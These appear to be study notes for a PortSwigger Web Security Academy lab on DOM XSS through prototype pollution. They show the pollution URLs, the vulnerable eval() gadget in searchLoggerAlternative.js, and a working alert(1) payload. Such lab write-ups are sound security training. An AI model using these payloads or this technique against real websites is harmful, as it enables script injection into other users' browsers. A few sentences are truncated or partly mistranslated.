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# DOM XSS via an Alternative Prototype Pollution Vector
DOM XSS via an Alternative Prototype Pollution Vector notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### DOM XSS via an Alternative Prototype Pollution Vector
#### Lab Context
The application executes JavaScript on the browser side and builds certain objects from the URL settings. The goal is to **polute `Object.prototype`** (so inject a property that will be inherited by other objects), and then find a \*\*
#### Source of Pollution Analysis
**Initial test (not working)**
The first test is to inject a property via URL:
/?__proto__[foo]=bar
After checking the console:
```javascript
console.log({}.foo)
```
The result is `undefined`, and no property appears in `Object.prototype`.
Conclusion: The parameter parser used by the application \*\* does not handle the notation with hooks\*\* for `__proto__`.
```javascript
Object.prototype
```
**Working alternative vector**
Using a notation with a point:
```javascript
?__proto__.foo=bar
```
This time:
```javascript
console.log({}.foo)
```
Retourne bien `bar`.
`Object.prototype` pollution works with this format, indicating that the parser accepts `__proto__.key` notation.
#### Gadget Identification
The `searchLoggerAlternative.js` file contains the following code:
```javascript
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("Failed storing query");
}
}
async function searchLogger() {
window.macros = {};
window.manager = {params: $.parseParams(new URL(location)), macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}};
let a = manager.sequence || 1;
manager.sequence = a + 1;
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
if(manager.params && manager.params.search) {
await logQuery('/logger', manager.params);
}
}
window.addEventListener("load", searchLogger);
```
Key Points:
* `manager.sequence` can be inherited from `Object.prototype`.
* Its value is integrated **directly into a chain passed to `eval()`**.
* No validation is performed on the type or content.
`eval()` is therefore an **exploitable gadget**.
#### Exploitation
The `sequence` property is polluted on the global prototype:
```javascript
?__proto__.sequence=alert(1) -
```
Conduct:
* `manager.sequence` recovers the polluted value from `Object.prototype`.
* The `a + 1` operation turns the chain into `alert(1) -1`.
* This value is injected into the string executed by `eval()`.
Outcome:
* `alert(1)` is executed when loading the page.
* The **DOM XSS is successfully triggered**.
---
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